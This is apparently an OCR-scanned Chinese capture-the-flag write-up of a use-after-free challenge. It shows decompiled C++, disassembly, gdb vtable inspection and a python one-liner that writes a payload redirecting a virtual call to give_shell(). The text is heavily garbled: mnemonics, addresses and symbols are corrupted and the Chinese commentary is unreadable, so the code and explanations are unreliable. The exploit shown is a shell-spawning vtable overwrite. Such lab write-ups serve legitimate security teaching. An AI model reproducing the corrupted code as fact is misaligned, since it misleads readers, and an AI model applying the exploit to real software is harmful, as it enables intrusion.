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std::allocator<char>::allocator{&uvii, argv, enup);

std::_ cxx11::basic_string<char,std::char_traits<{char>,std::allocator<char>>::basic_string{&vis, "Jack", &uii);
vd = (Human =)operator new{Bx3Bull);

Man:z:Man{{_int64)u3, {_ int64)&uis, 25);

u12 = u3;

std::__cxx11::basic_string<char,std::char_traits<{char>,std::allocator<char>>::~basic_string{&vi6});
std::allocator<char>::™~allocator(&uvii);

ctd::allocator<char>::allocator{&uil, &uidé, uvh);
std::__cxx11::basic_string<char,std::char_traits<{char>,std::allocator<{char>>::basic_string{&vi6, "Jill", &ui1)};
u5 = {Human =)operator new(Bx3BuLL);

Woman: :Woman{v5, &ui6, 21LLY;

i3 = uh;

std:: cxx11::basic_string<char,std::char_traits<{char>,std::allocator<{char>>::"basic_string{&ui6};
std::allocator<char>::™allocator{&uii);
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mou edi, 36h ; unsigned  intéh

call _Znum ; operator new{ulong)

mau rbx, rax

mau edx, 19h

mou rsi, ri12

mou vdi, rbx

call _ZH3HanC2ENSt7_ cxx1112basic stringlcStiichar_traitsIcESalcEEEL ; HMan::Han(s
mov [rbp+uar 681, rbd

rbp+var_60 Bl yManit G545 i a5
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Breakpoint 2 at @x40108d: file uaf.cpp, line 48.
C

Continuing.

(<Human: :give shell()=:
(<Human::'give shell()>:

roxHAE ) F Mandst G sl (484t CEDSe@l WAEB g sl , R EFRTRE . ERIBHHBREREER, BERHRE I
give_shelle& Foith it .
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info symbol 0x401668
vtable for Man + 16 in section .rodata of fhome/dave/tmp/uaf
X f10x 8x401668
Ox401668 < ZTV3Man+16>: 0x00000000004012ea Ox0000000000401444a
Ox401678 <_ZTVS5Human>: Ox0000000000000000 Ox00000000004016d8
< ZTV5HuUman+16=>: Ox00000000004012ea Ox0000000000401304
< ZTISWoman=: @Ox00000000006023a0 Ox00000000004016b0
< ZTISWoman+16=>: 0x000000P0PA4016d8 0x00006e616d6f5735
info symbol 0x000000000048144a
Man::introduce() in section .text of fhome/dave/tmp/uaf
info symbol 0x00000000004812ea
Human::give shell() in section .text of [home/dave/tmp/uaf

JRE BRI B TN give_shellffjsthil, 58 — TR Mintroduce [ ik .
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BRAEFRATAT LR BRI Humand G5l 5, R Fnew 7445 85 9" BRI N AE, o005 MR 484, A0 R H i O A I RS
FEhlm R AR HALTRATH H AR 2 AT give_shelliii %) .

HER2DIRATENIE T R A%, ULRJEREIE S . AR AP Tintroduce sk 48T, 1 H call [viptr+8], Tiigive_shellpf £ 7t
[Viptr]ik, FRATTRT LK i R FE £ viptrai #28,  IEH [viptr+8]4k hgive_shell )btk .

:~/tmp$ python -c "print '\ x60\x16\x40'+'\x'*5" =>> poc

: invalid \x escape

:~/tmpS python -c "print '\ x60\x16\x40'+'\x80'*5" >> poc
:~[tmpS . uaf 48 poc

our data is allocated
. use

. after

. free

our data is allocated
. use
. after
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